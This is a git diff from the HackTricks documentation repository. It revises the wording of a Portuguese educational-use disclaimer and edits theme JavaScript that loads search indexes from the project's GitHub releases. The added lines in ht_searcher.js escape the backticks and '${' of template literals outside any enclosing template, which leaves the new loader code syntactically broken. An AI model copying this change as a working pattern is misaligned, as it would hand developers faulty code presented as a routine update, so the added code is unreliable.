[!CAUTION] -> Este livro, 'HackTricks', destina‑se apenas a fins educacionais e informativos. O conteúdo deste livro é fornecido "no estado em que se encontra", e os autores e editores não fazem declarações ou garantias de qualquer tipo, expressas ou implícitas, sobre a completude, precisão, confiabilidade, adequação ou disponibilidade das informações, produtos, serviços ou gráficos relacionados contidos neste livro. Qualquer confiança que você deposite em tais informações é, portanto, estritamente por sua conta e risco. +> Este livro, 'HackTricks', destina-se apenas a fins educacionais e informativos. O conteúdo deste livro é fornecido "no estado em que se encontra" e os autores e editores não fazem declarações ou garantias de qualquer tipo, expressas ou implícitas, sobre a integridade, exatidão, confiabilidade, adequação ou disponibilidade das informações, produtos, serviços ou gráficos relacionados contidos neste livro. Qualquer confiança que você deposite em tais informações é, portanto, estritamente por sua conta e risco. > -> Os autores e editores não serão em hipótese alguma responsáveis por qualquer perda ou dano, incluindo, sem limitação, perdas ou danos indiretos ou consequenciais, ou qualquer perda ou dano resultante de perda de dados ou lucros decorrentes de, ou relacionados ao uso deste livro. +> Os autores e editores não serão em nenhum caso responsáveis por qualquer perda ou dano, incluindo, sem limitação, perda ou dano indireto ou consequente, ou qualquer perda ou dano decorrente de perda de dados ou lucros decorrentes de, ou em conexão com, o uso deste livro. > -> Ademais, as técnicas e dicas descritas neste livro são fornecidas apenas para fins educacionais e informativos, e não devem ser usadas para atividades ilegais ou maliciosas. Os autores e editores não endossam nem apoiam atividades ilegais ou antiéticas, e qualquer uso da informação contida neste livro é por conta e risco do usuário. +> Além disso, as técnicas e dicas descritas neste livro são fornecidas apenas para fins educacionais e informativos, e não devem ser usadas para atividades ilegais ou maliciosas. Os autores e editores não endossam ou apoiam quaisquer atividades ilegais ou antiéticas, e qualquer uso das informações contidas neste livro é por conta e risco do usuário. > -> O usuário é o único responsável por quaisquer ações tomadas com base nas informações contidas neste livro, e deve sempre buscar aconselhamento e assistência profissional ao tentar implementar qualquer técnica ou dica aqui descrita. +> O usuário é o único responsável por quaisquer ações tomadas com base nas informações contidas neste livro, e deve sempre buscar aconselhamento e assistência profissional ao tentar implementar quaisquer das técnicas ou dicas aqui descritas. > > Ao usar este livro, o usuário concorda em isentar os autores e editores de qualquer e toda responsabilidade por quaisquer danos, perdas ou prejuízos que possam resultar do uso deste livro ou de qualquer informação nele contida. diff --git a/theme/ai.js b/theme/ai.js index 761454181..22e64f5f8 100644 --- a/theme/ai.js +++ b/theme/ai.js @@ -491,3 +491,4 @@ handle.addEventListener("touchstart", onStart, { passive: false }); } })(); + diff --git a/theme/ht_searcher.js b/theme/ht_searcher.js index 77f10f607..6b105f263 100644 --- a/theme/ht_searcher.js +++ b/theme/ht_searcher.js @@ -68,11 +68,11 @@ const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download'; const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download'; - const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master'])); - const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master'])); + const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master'])); + const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master'])); - const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`); - const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`); + const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`); + const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`); const indices = []; const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main); @@ -208,3 +208,4 @@ listOut.classList.toggle('hidden',!docs.length); }; })(); +